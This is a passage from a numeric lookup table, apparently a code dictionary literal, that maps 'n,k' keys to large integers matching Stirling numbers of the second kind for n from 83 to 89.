'83,29':458486855581657349863776620527920751063686842317587623118403106995253222310056374513209280,
'83,30':193679131228721039783736899314249353881691762306592319185969397345027052872293695482966160,
'83,31':70410885305860965712836804142077682686226931300537372330914737089867678596399852802074512,
'83,32':22165463987685789121742456398705598954292720096871221308087923035723122508803804251603200,
'83,33':6076054309299427355339910588139164954264544382164403851511955436902181775673293450625180,
'83,34':1457737607140398440134436471977221906657848335776005735702250934800550582103201728125840,
'83,35':307508220179998468930069634478392381936419315169007822433169150701738943445437607778464,
'83,36':57277362834865995718714537224279218378468944141004398059454734188658055457776312667214,
'83,37':9456442674737450666434781990661563485763732652843850746517376144683817081911572492678,
'83,38':1388725302746118239031854164729456364531169312473353615765735346416770817221576420279,
'83,39':181988065714099829149297362061625610386926988995017931955311960729549455980720263899,
'83,40':21344310428664175963698716479780086720085629090184915646282893949330195025165072600,
'83,41':2246461649596059385090674587275970540656121245281185666869004091307149626766933093,
'83,42':212695108646815620461393349845566374201445858494958695638372080267316179237250049,
'83,43':18156325475928064410269423458582067100309178266667707211423196410760663788897383,
'83,44':1400211249807172390733122955696585554171415553199597719100168715001659626906500,
'83,45':97736294351514375650977816300132606625444471533426246284386073675586220584200,
'83,46':6184997826219683508807649829139544541354883222457073699416513394734614394170,
'83,47':355382814264082208772116339969122770985665841538515878903812368944211069770,
'83,48':18565591785432699028852691442148414943850181451489723143009932671652079200,
'83,49':882860833748400096038467292862105939966552025326413838825409019959558575,
'83,50':38255845020114457129165856393037241997252709601083298217624505103427625,
'83,51':1511866818474549550853541233088780905917170161456653658078605292013483,
'83,52':54533795703945782658018933457997908748569994795334212477415400033560,
'83,53':1796467578148652352583509420122296817228904269856546588739441410600,
'83,54':54072728464873284118362328823902417593092731118027939350838137740,
'83,55':1487594067060767844730332642396296806646077781057454368913501948,
'83,56':37412518752512727311366548581736202314458955714377025660196256,
'83,57':860181757052803775404046918353468622599294583912118595282812,
'83,58':18078046395980303594168338616414034798345044428789233926556,
'83,59':347198196075195857350780783067084990734429078872844347876,
'83,60':6090739958053335657722483769705957726818482440634815600,
'83,61':97532895519109495041708443151646597476467627969358528,
'83,62':1424477875791197501078385307646320958061901778427864,
'83,63':18955006069788502166454604891540366427471244137688,
'83,64':229504270436036280830406386053617418456693824000,
'83,65':2524489801208030286540281206920145675569786975,
'83,66':25180058937334619013112349508817866265006905,
'83,67':227233289970399960201475342268535855884355,
'83,68':1850437193133596906672898739745809463550,
'83,69':13555372201712567871907490004414005550,
'83,70':88998691005424116745224208139516175,
'83,71':521425747320633602809573322221155,
'83,72':2711892350497934254172280103800,
'83,73':12442232240440235310796398225,
'83,74':49975484776417700922547125,
'83,75':174086558910377323204995,
'83,76':519756869988966325716,
'83,77':1310044756779333432,
'83,78':2732268000690306,
'83,79':4586955500466,
'83,80':5953888800,
'83,81':5604741,
'83,82':3403,
'83,83':1,
'84,1':1,
'84,2':9671406556917033397649407,
'84,3':1995419197093660293360566420752776868206,
'84,4':15589350796200878597078973086576507330393804765501,
'84,5':430823220115351116796937164827300807740977114151781622500,
'84,6':321641407619602788130063229174658487746444826804495453781512120,
'84,7':19310681066461030844831791572523399962067928977523134046320288248660,
'84,8':179469914786393076202040311786603974053252663544921135305225598459059895,
'84,9':394830220045885587881803416362392898707134482098078254884438025533066749125,
'84,10':275178272281637167495014208318896536508077710580492770055842033244562949599775,
'84,11':74857469455018830077348862727663549931778886224855611614654807596186103151070990,
'84,12':9276643239277307906025135345310428396200421299645590952842812612088777678820386015,
'84,13':589044123941042010431733347580286041991859634392994669309253708588675754337059831100,
'84,14':21000978704616030891776177028719207807358830263889550048818315808244911442586807396100,
'84,15':452035258723014994566279878836465139397729534404640454802240195143952245792749349242480,
'84,16':6227871456735926322893445380607671919172658327196150748583218903105783790324830900362810,
'84,17':57610543896081938114566322168794099866477516656875587877032076765614974213762275426241565,
'84,18':372260634264005841717848145630164478833547195770713333808453297118909758484438662447112195,
'84,19':1736862694651236144782740436857523694568206330308593361635214517699071345282320273466616270,
'84,20':6017652502633678797834254614920554847978634292252801083621698453851855654359128956871597369,
'84,21':15856875758539624950218589019418634240329835232788031556053371453402087420607455442547187456,
'84,22':32439384184614912744342079449089541737781330514576753955638030907535496750053377866056958752,
'84,23':52448970849581095707698770742155197284620596401436771074992860832367805168890924183431975776,
'84,24':68072044797024164617795323797672006326322426240985666097238436322447939508994872187664340376,
'84,25':71895379948182898709259686404820979453927594635354335194685347853211752677798054004592955000,
'84,26':62541871738437366539775103553447465136101962321411506669062861042786795453824555632706604328,
'84,27':45292370394338779171988985046876148565135922347403068555185827332027993302636765684062042704,
'84,28':27567969483974190672447885884933173048197243255180879969288940201557428289021947022200337928,
'84,29':14223819705295208752870033204065960889569834441453224911755580724534543437507773167390949600,
'84,30':6268860792443288543375883599955401367514439711515357198697485027346064808478867239002194080,
'84,31':2376416575710410976881677827718657517154726632623250861444326247130925089360689132347276032,
'84,32':779705732911806217608595408900656849223593974400416454189728274233007598878121588853376912,
'84,33':222675256194566891847959505807298042445022684708296548407982452453495121106022488122234140,
'84,34':55639132952072974319910750635364709780631387798548598865388487220120901567182152206903740,
'84,35':12220525313440344852686873678720955274432524366691279520863171209361413602693518000372080,
'84,36':2369493282235174314803792974552444243561301304245166152573539581493428939925384863798168,
'84,37':407165741800151670376801470878757067351727052296226875680597651541959287488504494896300,
'84,38':62228004179089943749645240250380905337948166526831288145615319308521108136331476463280,
'84,39':8486259865596011575854451285132855169621321883279052962022901814869199600469666712340,
'84,40':1035760482860666867697246021252829079190352152602414557806627718702757256987323167899,
'84,41':113449238062102610752416374558094878886986600146713527987912061692923329722609329413,
'84,42':11179656212762315444469195280789758257116847302069450883680631462534429154731435151,
'84,43':993417104111722390102978558564595259514740523961670105729569525930024722159837518,
'84,44':79765620467443649602526833509231831483851462607450006851830619870833687372783383,
'84,45':5798344495625319295027124689202552852316416772203778801897542030403039553195500,
'84,46':382246194357619817056129708440551655527769099766451636457545689833378482716020,
'84,47':22887990096631547321097117807688314777681177774767320007895694735112534673360,
'84,48':1246531219964851762157045529192246688290474551210022589768289137183510871370,
'84,49':61825772639104303734737588792391606002211230692484001245454974649670449375,
'84,50':2795653084754122952496760112513968039829187505380578749706634275130939825,
'84,51':115361052762316484222696459280565068199028387835372634779633374996115258,
'84,52':4347624195079730249070525772904672160842809890814032706904206093758603,
'84,53':149746577345824357344944932724479640061701921097731181680605794795360,
'84,54':4716394915251809694975075176613027367255911750230055313684700848560,
'84,55':135890402153215515578530624155698741958627009076187929641080744880,
'84,56':3582695117201480574166859362973524136255779301062567805884492284,
'84,57':86442878904522542509397222927883913802618746997367785591316540,
'84,58':1908708448019661383865810558105482640903307160781894163023060,
'84,59':38562739964416859177864404817372049251676360082287050451240,
'84,60':712642593558395996814129809249442454343538025310933283876,
'84,61':12040246584719014855266698801956400172883007746765685808,
'84,62':185850523818163740108568332225718496876305538231886096,
'84,63':2618643258187873137565025415813364042992590159102208,
'84,64':33643279377694824139600613598971881208699648873688,
'84,65':393596107514558249455524664503426887368729977375,
'84,66':4186373691072115141405696274502124849060242705,
'84,67':40404689365351416346611197440809768609258690,
'84,68':353063019103484549855232456571250899405755,
'84,69':2785757875051764089834515550050375846500,
'84,70':19785280572092256044073184574180137800,
'84,71':126019919065189102544703914017218180,
'84,72':716681996556484869109977489694755,
'84,73':3620175304050071431860417174225,
'84,74':16140418113895145179064885475,
'84,75':63031976694696000162921750,
'84,76':213588081029538763959411,
'84,77':620630316260974999980,
'84,78':1523161660833177300,
'84,79':3094637485227120,
'84,80':5063266604466,
'84,81':6407872821,
'84,82':5883787,
'84,83':3486,
'84,84':1,
'85,1':1,
'85,2':19342813113834066795298815,
'85,3':5986257591280990551488256179291728254025,
'85,4':62357403186798933585409552639666595742327995930210,
'85,5':2154116116166106380185564421215477125281392901152712878001,
'85,6':1929848876540836844131496171985115753779476701804086874470695220,
'85,7':135175089106634835516610671070892974392963249287488742819695799252740,
'85,8':1435778628972211070647167326084404315825983376288346605575851107960727820,
'85,9':3553651450327756684012432787573322692338263591546249215095247455396059802020,
'85,10':2752177553036417560538023886605327757979484240287025778813304770471162562746875,
'85,11':823707342277488768018332504212617945786075826183992220531258725591291697611380665,
'85,12':111394576340782713702378973006452804304336834481971947045728406152661518248995703170,
'85,13':7666850254472823443518558653889028974290375668408576291973141024264873584060598190315,
'85,14':294602745988565474495298211749649195345015483328846695352765675024017435950552363376500,
'85,15':6801529859549840949385974359575696298773301846333496372082421242967528598333827046033300,
'85,16':100097978566497836160861405968559215846160262769543052432133742644836492890990043755047440,
'85,17':985607117690128874270520922250107369649290441494081144658128523918560345424283513146469415,
'85,18':6758301960648187089035832943511754718870327040529715596429191424905990626933658199474261075,
'85,19':33372651832637492592589916445923114675629467471633987204877529133401265318848523858312821325,
'85,20':122089912747324812101467832735268620654140892175364615034069183594736184432464899410898563650,
'85,21':339012043431965802752424624022711873894905174180801463760742498975295691487115693250362533945,
'85,22':729523327820067705325744336899388552471519106553476618580090051419183015921781768495800280000,
'85,23':1238765713724980114021413806518659079284055047747622488680473830051995015634544634084992401600,
'85,24':1686178045978161046534786541886283349116358826185092757408715332571118353384767856687376144800,
'85,25':1865456543501596632349287483918196492674512292124844045964372132652741756453946222302488215376,
'85,26':1697984045147554428743412378794455072992578614992053508590319734965668434477236500454964667528,
'85,27':1285435872385584404183477699819103476394771865701294357659080199007542614625017229102381757336,
'85,28':817195515945616118000529789825004993914658733492467707695276152975635985395251282305671504688,
'85,29':440058740937535244505678848802846038845722442057324402410200781213059187976747368876537876328,
'85,30':202289643478593865054146541202728001915003025786913940872680131544916487691873790337456772000,
'85,31':79937774639466028826707896259233784399310965322836133903471598688404742578660230341767751072,
'85,32':27327000028888209940356730912539676692309733813436577395515631022587168253460579975655337216,
'85,33':8127989187332513648591259100541492249909342569774202551653149205198346595376863696887103532,
'85,34':2114405776565048018724925027409698174986489869858948909831191017937605774390215663156961300,
'85,35':483357518922485044163951329390598144385769740632743382095599479547770377661455282219926540,
'85,36':97522283473906620185623420762608948042639371319517261013510596143124855440007373097106128,
'85,37':17434625728840786118745447397066455735575202239205560552755652688545922577000051174961268,
'85,38':2771829900605569532863320600393231470193757380315815825213979785265761396669100600500940,
'85,39':393192138937334395207968840370562256953179719974714353664508490088419892554648478244540,
'85,40':49916679180022686283744292135246018337235407987375635274288010562979489879962593428300,
'85,41':5687179243406873908546317378134719113556802758617669205311022248112613775614305673832,
'85,42':582994798998119859420122576351264725685894186833630465102498583119369354221329605755,
'85,43':53896591689566378218897273299067354416250689832421265430052121077525492207604448425,
'85,44':4503104404679242972614159232970795844804204878689470407210116800246706966562306370,
'85,45':340691122770583017878747444523346709838090217356620052937220011238970467266580883,
'85,46':23381669436075830879609091277467929006593795361460554078944643762738449758132420,
'85,47':1457981728899302541147694245401902450078784455180515676828643342383667612363940,
'85,48':82721488654944431904635303208916155815623956232848404316773573319921056499120,
'85,49':4275994079280962645159187380019435382398824855141738650795582895017362890745,
'85,50':201608426876810451359575594418090007993670605961512938730786688406217440625,
'85,51':8679066775632263647854279535822786517979635284984583123467936399932817983,
'85,52':341437510906462457174363799471608020562854502157702335538652091871562614,
'85,53':12284192794408421188352607207302093084113011708993785335976313217912683,
'85,54':404431902769422080873598992261583117893521155610154168619579640617600,
'85,55':12190367033678663051794259505176458174980397249420391443944141816960,
'85,56':336521328716498427731874748482216093588950649935691726770612312784,
'85,57':8509939214759265497202501069862907223005047879912531584589535064,
'85,58':197147968889662902773614235298001906975010562322717647046654020,
'85,59':4183910105920256075359810442330433546752212405636830139646220,
'85,60':81321295577920618986712193372338596512288641600943047483800,
'85,61':1447097635226255902985398436168782864889401497863640118164,
'85,62':23562979061445166741997935399950946979213951117142623760,
'85,63':350825049083999747775164933421960431584838718255325200,
'85,64':4771813138360341882499464686147564440349367687018240,
'85,65':59227026366141110354209716791694628887667097403063,
'85,66':669896771125317848788300618620567127406705995905,
'85,67':6893487878550660036628646503036379345880574935,
'85,68':64412974664388365736767004487654829768850030,
'85,69':545280312482056272053814029524726832814255,
'85,70':4170727515098222012919638470242985492500,
'85,71':28732694825720682324747162469402628580,
'85,72':177621022817256013120622293275240540,
'85,73':980954793752140083635787943413180,
'85,74':4814566244478312175111218699375,
'85,75':20867816365997345191284016725,
'85,76':79264670852940946223836986,
'85,77':261376615381633838957871,
'85,78':739436925805962829380,
'85,79':1767638022166119780,
'85,80':3499698813584400,
'85,81':5582304302967,
'85,82':6890343355,
'85,83':6173125,
'85,84':3570,
'85,85':1,
'86,1':1,
'86,2':38685626227668133590597631,
'86,3':17958772773842990997277882371941980060890,
'86,4':249429612753181991932919201110154639148603711974865,
'86,5':10770580643187935087726755691486938266073560248091560320215,
'86,6':11579095413361137230895357217475115738153985492217422399537049321,
'86,7':946227553595320389453118828992422805866496524489123003824745065464400,
'86,8':11486364206866795200012855219346305419582259973556060333349628559485075300,
'86,9':31984298831578782367182542255485988635360198307292531282462802949672498946000,
'86,10':27525329181814503362064251298840850902487180666461804037348142952167021687270770,
'86,11':9063532942605412865762195570225402731404813572264201451622659286274679836287934190,
'86,12':1337558623431670053196566008581646269597828089609847356769272132557529510685559818705,
'86,13':99780447884487487479443641473563829470079220523793463742696561721596018111036772177265,
'86,14':4132105294094389466377693523148977763804507142272262311230692591360508976891793685461315,
'86,15':102317550639236179715284913605385093676944543178331292276589084319536946410957958053876000,
'86,16':1608369186923515219523168469856523149837337506159022335286222303560351414854174527126792340,
'86,17':16855418979298688698759717084220384499884097768168922511620318649260362365103809767245027495,
'86,18':122635042409357496476915513905461692309315177171028961880383574172226391630230131103683168765,
'86,19':640838686780760546348244245416050933555830209001575472489102244959530031685055611507417866250,
'86,20':2475170906779133734621946571151295527758447310978926287886261201028124953968146512076284094325,
'86,21':7241342824818606669902384937212217972447149549972195354009661662075945705661894457668511776495,
'86,22':16388525255473455319918800035809260028268325518357287072522723630197322041766314600157968693945,
'86,23':29221134743494610327818261886828547376004785204748793858230988142615068375516308352450625516800,
'86,24':41707038817200845230856290811789459458076666876189848666489641811758835496868973194582019876800,
'86,25':48322591633518076855266973639841195665979166129306193906518018648889662264733423414249581529200,
'86,26':46013041717338011779678009332574028390481556281918235269312685241760121052862095234131569571104,
'86,27':36404752599558333341697310273910248935651418988927001165385485108169319029352701686219272115600,
'86,28':24166910318862835708198311814919243306005216403490390173126812482325350205692053133661183888600,
'86,29':13578899003134138208665216405107540120440609553154875377591098808154352436720924979725269918200,
'86,30':6508748045295351196130075084884686096295813215664742628590604727560553818732961079000241036328,
'86,31':2680360657302040758682091325238975318293642950794834091880299690885463507630340930932257055232,
'86,32':954401775563888746918123285460503438553222447352806610559971791411194126689398789562738541984,
'86,33':295550643210861160343868281230408920939318038615985261600069554794132605900897081972929753772,
'86,34':80017785590544146285238710032471230199449998144978465485913643815076942924644196244223787732,
'86,35':19031918938852024564463221556080633228488430792004967283177172802109568992541150540854390200,
'86,36':3994159723983123370846394476844520273920787108135364778581980940700265173501720713715747148,
'86,37':742603435441015706579204974454067810258921854170123001465469745619323990789009266570673044,
'86,38':122764161951852428367551630212009251602937982691206561910886884528644855650425873993996988,
'86,39':18106323319161610945974105374845159491367766459329675618129810898714137206300391252038000,
'86,40':2389859306138241846557740525780402990442596039469739764636028912607599487753152215376540,
'86,41':283091028159704516534143304638769501993064321090700072692039922735596654680149126055412,
'86,42':30172960801327908004191465584887837592364358605630148739615962739126126652910149115542,
'86,43':2900548241649474122832705328211160965584673849627744878594739789452965519148320888030,
'86,44':252033185495453069013920279549782371587635704494757963347297260288380598736345928705,
'86,45':19834204929355478777157794236521397787518264659737372789385017306000377993558446105,
'86,46':1416247916830071238340765643286871444141404803983805540568673624324939156140672203,
'86,47':91906810694343050313550720811357344160296664754944790889890880854770827539237600,
'86,48':5428613184336635272570188799429877929228734354357239084033774861739878324321700,
'86,49':292245198539711601517435484829868489553166374134793598205757135175771838145625,
'86,50':14356415423121485213137967100923935782082355153217385587334917315328234921995,
'86,51':644240832434055897400143850745052120410632005495726678027651444802791157758,
'86,52':26433817342768311420921197108346403587248069397185104571477845177254073911,
'86,53':992499729010108780157051981458618954020844122734372958345396692420934813,
'86,54':34123515543957213555526952789427581450363154111942110441433613811263083,
'86,55':1074902089621748548722283265046288317517443004328275698036507440550400,
'86,56':31035561441802575004779245420180559415961633645819128143098431332864,
'86,57':821587863957776561072417309464401805300238379090706027092215811432,
'86,58':19944521410359713858072126717147017827555660494630155113295468224,
'86,59':443998665138958011219843051395497486233391094255290625285781000,
'86,60':9063187840595493214562542044670749337489530901693412988674220,
'86,61':169594251326722229068821497978634351270542132970625094691804,
'86,62':2908002337035856240989270430965741577600666467126482791284,
'86,63':45664957153737150851833326205534454169058790367228111360,
'86,64':656221089939061628255130673335404555767198250224492560,
'86,65':8621569852159514055523096277607715318047729018217335,
'86,66':103440213260412088374237557620652059296509693132793,
'86,67':1131760458988212071242419934324004543580704516550,
'86,68':11273570155729068906728802808196907770162376975,
'86,69':102037316225650248508480172524860981233033625,
'86,70':837231238538931812958188722441735817289255,
'86,71':6210748847724390457976687005570572121680,
'86,72':41521408468563115269431967585219947460,
'86,73':249230722761162239226034813144402680,
'86,74':1337232695843535184594018127166930,
'86,75':6379652471928113064457519953750,
'86,76':26891931350820857104295627661,
'86,77':99390670237326751823593053,
'86,78':319052695594498939649511,
'86,79':879080329557086292000,
'86,80':2047613927252871780,
'86,81':3951865462124727,
'86,82':6147312458077,
'86,83':7402712730,
'86,84':6473005,
'86,85':3655,
'86,86':1,
'87,1':1,
'87,2':77371252455336267181195263,
'87,3':53876318321529011677459874783959530780301,
'87,4':997718451030686740505519795437896438966356827960350,
'87,5':53852903465369288191815770390353892440522440389061513575940,
'87,6':69474583250747466573307231031606385915862179026864782488782616141,
'87,7':6623604454262656087309062698304177116181213825409353244195614995300121,
'87,8':91891859882487956920492294873599435779463946284972971789800853220946066800,
'87,9':287870175848415908099842893154593244023661367025606337602498576175611975589300,
'87,10':275285276116976612403009695530663995013507166862925332904763892324619889371653700,
'87,11':99726387697841356026746215523778270896355436475572677771886600291973645220854546860,
'87,12':16059767014122646051224554298549980637905341888890432482682888249976628808063005758650,
'87,13':1298483381121769007285963905164911429380627694898924876011824574513305764954163598123150,
'87,14':57949254565205940016767152965559252522733179212335465820972392840768721694596148368635675,
'87,15':1538895364882637085195651397603925382917972654817241646460066957384414705141261164493601315,
'87,16':25836224541415479692085980431309755491074344641722688656856145941285159584077750392082553440,
'87,17':288150491835001223098438358901603059647866999565030705032831639340986511621618940570292259755,
'87,18':2224286182347733625283238967382530846067557286846690236358524653749335411709246169633542065265,
'87,19':12298570091243807877093556176810429429870089148200962939173326228403296993646286749744622627515,
'87,20':50144256822363435238787175668441961488724776428580101230214326265522029111047985853033099752750,
'87,21':154543370227969873802572030252607872949148587860395028722089156104622984772867930123115031400720,
'87,22':367788898445234623708115985725015938594350310953832510949509581526417030624520815661143823043285,
'87,23':688474624355849492859738823432865849676378385227579545811835450910343894678641406706522355580345,
'87,24':1030190066356314895868369241369775574369844790233305161853982391624827120300371665022419102560000,
'87,25':1249771829655152766612530631807819351107555820108844696329440108034000392115204558550821558106800,
'87,26':1244661676284306383126895216286765933818499629459180310908647834934652809639147899501670390377904,
'87,27':1028941361905413012005505386728150749653069868982947266734720783162331734845385040762051916692304,
'87,28':713078241527717733171250041091649061503797478286657926012936234613279124788730189428732420996400,
'87,29':417954981409752843759489587563037906798782893444981776123268677918801570870598877545694011516400,
'87,30':208841340361994674092567468951648123009315006023097154235309240634970966998709757349732501008040,
'87,31':89599928421658614715274906167292920963398744690304599476879895145009922555273529937900209748520,
'87,32':33221217475346480660062036459975085351996761266084645629799397016043675561691102196939890398720,
'87,33':10707573001522307038265776566063997829550717721680320243362267099617570121419002494669420416460,
'87,34':3016155353289362134041984422334430747720617975545253088121133444506748665338799754276538536660,
'87,35':746134948450365006041451464495293393196545075865152320397114691888911857663584465174127444732,
'87,36':162821669002244465914933422722483363089636766684878099312128486667319115238603096234621287528,
'87,37':31470486835300704514276978531645029253500895712429915832804361528615252832695063576830649776,
'87,38':5407641589611407984546166922510419371170565196435972354079171357707828505505192478342558588,
'87,39':828910771399155255260541739830970471766280874605063911017949509578496206696141132823478988,
'87,40':113700695564691284808283726406061279109071608038119266203570967403018116716426479867099600,
'87,41':13996591460686127024457616015969952572158233204188442745009665744767062329639266383648432,
'87,42':1550355381815476652710184859204058680872367382527166319755910357778893974102375388908176,
'87,43':154896535192255295285997794697967759112505334139623178519189773685603643976287947300832,
'87,44':13990008403449409159445197628401585315440644847397095265875819242141711863547541751050,
'87,45':1144572407316449613986021020193245272025957614182939738869623039058397608446476003430,
'87,46':84981609103538755740833013827717484218022885642992427655544004024947579176029367443,
'87,47':5735868019464194603077649521420666619675348047466210712393545024499168050484839403,
'87,48':352480243542501543396919783183991484763275913764092266923512074218284987106679200,
'87,49':19748627912782503746924527556093433917333886686962125396115874485352698393457325,
'87,50':1010065969695785862174333839876065278657284131795662877572503000942183584245375,
'87,51':47212697877258335980545303488921593923024587433499446166745141000270583967653,
'87,52':2018799334258008091288046100379065106947531614149352115744499394020003001130,
'87,53':79036302980304076769244952125653208150352807902106871363783869875563619000,
'87,54':2835169568383798312155507432087708352340454444779246922182811838229141295,
'87,55':93243130473153383735252532366973438913822519349997273833441523041535083,
'87,56':2812893530362692748989921008576399644811294488494146874050019595190784,
'87,57':77866069687395838985907032059651462318075221253989371687354732584488,
'87,58':1978370105758639964840600659058928839298466687779255023663352968424,
'87,59':46140442653558236520042866749481369515325735055692302005156547224,
'87,60':987789935574687604093595574075742446482762948356895404606234200,
'87,61':19408437171525549187760653421367444764992601012901543764874264,
'87,62':349890396222945316010156264698510329081783453932467027751412,
'87,63':5784894637721296744654769981914412190251370260261853806964,
'87,64':87663106909837095060161689299000345738159478381595635200,
'87,65':1216623130329430041864131931379906051440300636408619335,
'87,66':15448623927346711888222775080570751231617368764981673,
'87,67':179268164012622297147479693220360363716416895741643,
'87,68':1898363229577788756899978525281394271951746150850,
'87,69':18314144975298936053813934712412315475241697100,
'87,70':160643502923375475415553383095782488443281475,
'87,71':1278194406727363535474533499837246437928535,
'87,72':9200290257460934757375788671706408338800,
'87,73':59715251230127958732932508944761343100,
'87,74':348185942253583842885992154554755500,
'87,75':1815706631238143664428332123698180,
'87,76':8423439254590498204383987655986,
'87,77':34545012959095016994712292742,
'87,78':124276780493697669116254911,
'87,79':388500041629508756717511,
'87,80':1042889443737316034400,
'87,81':2367715029684974667,
'87,82':4455945083687041,
'87,83':6761737614667,
'87,84':7946445150,
'87,85':6783680,
'87,86':3741,
'87,87':1,
'88,1':1,
'88,2':154742504910672534362390527,
'88,3':161628954964587112403632079688145773536166,
'88,4':3990873804176623280343608193429045630649386842621701,
'88,5':269264518324564891989765592457289257640508640911664395840050,
'88,6':416847553357388264809131578005408705849065514683629083994209272786,
'88,7':46365300654421843358630012195360271419654412640044499574151793749716988,
'88,8':735141502664357918020025668051493790412827751493609183671651021382563834521,
'88,9':2590923474495625660855506530686212795648731767176742011394276986433728726370500,
'88,10':2753140631345614539938196798199794543379095329996278935385241421822374505692126300,
'88,11':1097265549952371892906611380457091643854923308398162380823657367104034717318771669160,
'88,12':192816930557169593970721397798123545925760458103160762469966545600011519341976923650660,
'88,13':16896343721597119740768755321442398562586065375574913820636402356922951573212189781359600,
'88,14':812588047294004929242026105422994446747645136667595446369625324345275409489300240759022600,
'88,15':23141379727804762217951538117024439996292323001470960162721976753606989298813513615772655400,
'88,16':414918488027530312158571338298560013240107486922380260156158402017946968050385267437814456355,
'88,17':4924394585736436272365538081758561769504813337247244674214994014738055857151599740087050969275,
'88,18':40325301774094206478196739771787158288863898162805454959486275406829023922388049993974049434525,
'88,19':235897117915980083290060806326780690013599251102664986080651722993411978290988694414781371988050,
'88,20':1015183706538512512652837069545649659204365617719802987543459851538843879214606003810406617682515,
'88,21':3295555031609730785092799810973207293420845121496875704394086604462604709341274518438448759167870,
'88,22':8245899136023131595381123716202958522024855428844710269611299949685797658512325874668279138352990,
'88,23':16202705258629772959482108924680930481151053171188162064621724952464326608233273169911158001391220,
'88,24':25413036216907406993700600616307479634552653350826903430307412849906194781887561367244580817020345,
'88,25':32274485807735134061181635036565259352058740292954422570089985092474836923180485628792958055230000,
'88,26':33610975413047118727911806255263733630388546186047532779954283816334973442733049945594251707932304,
'88,27':29026078447730457707275540657946836174451386091998756512746108980317609650464544000077072141070112,
'88,28':20995132124681509540800506537294324471759399261009369195096935352334147228929830344766559704591504,
'88,29':12833772702410550202196448080419748358668501388191129433587727894258524680036097638253858754972000,
'88,30':6683195192269593066536513656112481597078233074137896403182545896967930580831891598037669041757600,
'88,31':2986439121433411730266089560137728672874676091422539738018585990130278566212189185424639003212160,
'88,32':1152678887632745995837260072886495652227295105205013259630460599658407540529388800239976702507560,
'88,33':386571126525582612922832663140087013727170446081535213660754211303423489568518184521030764141900,
'88,34':113256855013360619595693246925434643252051728890218925239480804212847024742938194140071730662900,
'88,35':29130878549052137345492785679669699509599695630825584302020147660618663683564256035370999102280,
'88,36':6607715032531165778979054682504694464423468676520763895633740211912400006253295929620493795740,
'88,37':1327229681908370532943181628393349445469169908044784985125889863226083470048320448577355329240,
'88,38':236960867240534207927031321587040965357982373176996865287812873121512736041892377753847876120,
'88,39':37735161674178462939707294775918267770055519306033464883779202231269180566654696658458239120,
'88,40':5376938593986806647591890796073421636129145196129834559160788205699220875353200327507462988,
'88,41':687560945452822492811045983060829334567559169409845418748967262938467672231636401596685312,
'88,42':79111517496936146438285380102540417168797663270329428174757900771480609241939032717791824,
'88,43':8210906395082454350008090031216672322710096750530962996081070626259850665082757122843952,
'88,44':770456904944029298301586490347637512991893707425095370217725820339838965972379784347032,
'88,45':65495766732689641788816143537097622556608737485629383515008855999769604243638961905400,
'88,46':5053726426079232378064339656268249546055010353760591411024647224205986250543826905808,
'88,47':354567406018355902085482541334488815342764243873904331138040620176408477548816819384,
'88,48':22654919709504268686129799114252257888312591908142639524722124586976847431605441003,
'88,49':1320163011268844226996221633432569746712636361425236411333189924000567208386088125,
'88,50':70251926397571796855641219549896697850198093276745269274741024532461877605726075,
'88,51':3417913561435960997182144317811066568731538090904134632076505191955983366595678,
'88,52':152190263258674756727523700708632979484296231369265756185459109489310740026413,
'88,53':6207723392214124160058028563038685138916230432961016298025044497424874808130,
'88,54':232135459673029185625642353458389459176737347920186205161655709139937248930,
'88,55':7963541744407234417594396712271247492600693009029096983022095605513570860,
'88,56':250765168173464177678688108847251819023255010705669498780242620372218987,
'88,57':7251259502544255571186621835976532996941582099971541060229239352506600,
'88,58':192611535821396956946661870285069334997386289145186163059829204753080,
'88,59':4700656222318575919523129797278329640702685056065100841967589254640,
'88,60':105407838788039492765658601194025916304291511957106026281530599224,
'88,61':2171704603037746104546995432779156577147311610143889574263564304,
'88,62':41101641737348158780390341832675085168063175156714499485461808,
'88,63':714338758399387010923406773559118297067619780328963817590144,
'88,64':11395333479950870828505118097050434317493576876683974459764,
'88,65':166743610381250047781330264838694239081779019748155891975,
'88,66':2236232309534313026486835086697575632727046974897409753,
'88,67':27459590916192405797103914526334895600617300779671754,
'88,68':308356863623911932616678232939495174209135633999443,
'88,69':3162039232873415344613140020437844039743423250750,
'88,70':29559190179935219332902671529117089666271400350,
'88,71':251395305801018286434245261584226985536207460,
'88,72':1940615305264550838005590284200107838322135,
'88,73':13559503597260275744879861824673986385100,
'88,74':85481010956893163106495928381813250100,
'88,75':484363939596444617718117063832119000,
'88,76':2455888014587021527961515185553116,
'88,77':11083405252440814512976834197120,
'88,78':44238601837603435185780175800,
'88,79':154968283782428860896938280,
'88,80':471931197128494039469511,
'88,81':1234674361141798982427,
'88,82':2733102526547312029,
'88,83':5017169305704402,
'88,84':7429239007267,
'88,85':8523057950,
'88,86':7105406,
'88,87':3828,
'88,88':1,
'89,1':1,
'89,2':309485009821345068724781055,
'89,3':484886864893761491953401149736971682999025,
'89,4':15963495216868122076339019886119814602285693144022970,
'89,5':1346322595613698264125451242630054481631588835207708821821951,
'89,6':2501085589408847913419681457798044692383650728610415415629651476766,
'89,7':324557521428506260898674894499099905346286737545826180648146550457291702,
'89,8':5881178386615517766003563974424145683574041666361513513872782322854260393156,
'89,9':23319046411963295305617578801843966654628998732342171711732164528924941101169021,
'89,10':27533997236930641025042823488528631646586602031729966095863808495210178785647633500,
'89,11':12072674190107436436512663381826207876947535487709782467995616279566204265012180487060,
'89,12':2314900432235987499541563384957939642752980420546327312020422204567242266821041855477080,
'89,13':219845285311319726223964540576549304859544610340577040430743197185598381971100444081325460,
'89,14':11393129005837666129129134231243364653029617978721911162995390943190778684423415560407676000,
'89,15':347933283964365438198515097860789594391132490158731997887199276628450114891692004477348853600,
'89,16':6661837188168289756755092950893984651838012113759555122661256409040758478104977792620803957080,
'89,17':84129626445546946942372718728194110094821934220125539721811056652564896539627580848917680934030,
'89,18':730779826519432152879906853973927410969054980267745433944967951337660486460136499631619940790725,
'89,19':4522370542177715788989352059980620268547249669113440190491869012281656611451173243874820117207475,
'89,20':20539571248686230336346802197239773874100911605498724736949848753770289562583108770622913725638350,
'89,21':70221839370342858999601633099983002821042113169154192779819278545253542775381370891017830560207785,
'89,22':184705336024118625883477521567438294777967664556080501635842685497550153196612443761140589802933650,
'89,23':380908120084507909663469628983864359588499078366172437755910973856365309647877608782624913170351050,
'89,24':626115574464407540808296523716060441710414733591033844391999633350213001373534745983781097609879500,
'89,25':832275181410285758523241476530438963436021160674687467682557040161777117861399702087068532197770345,
'89,26':906159846546960220986888597673422333742160941130190274848901364317184146434239784214243502461469904,
'89,27':817315093501769476824351404019828310340575970670013958624099226284910434005275737947675199516825328,
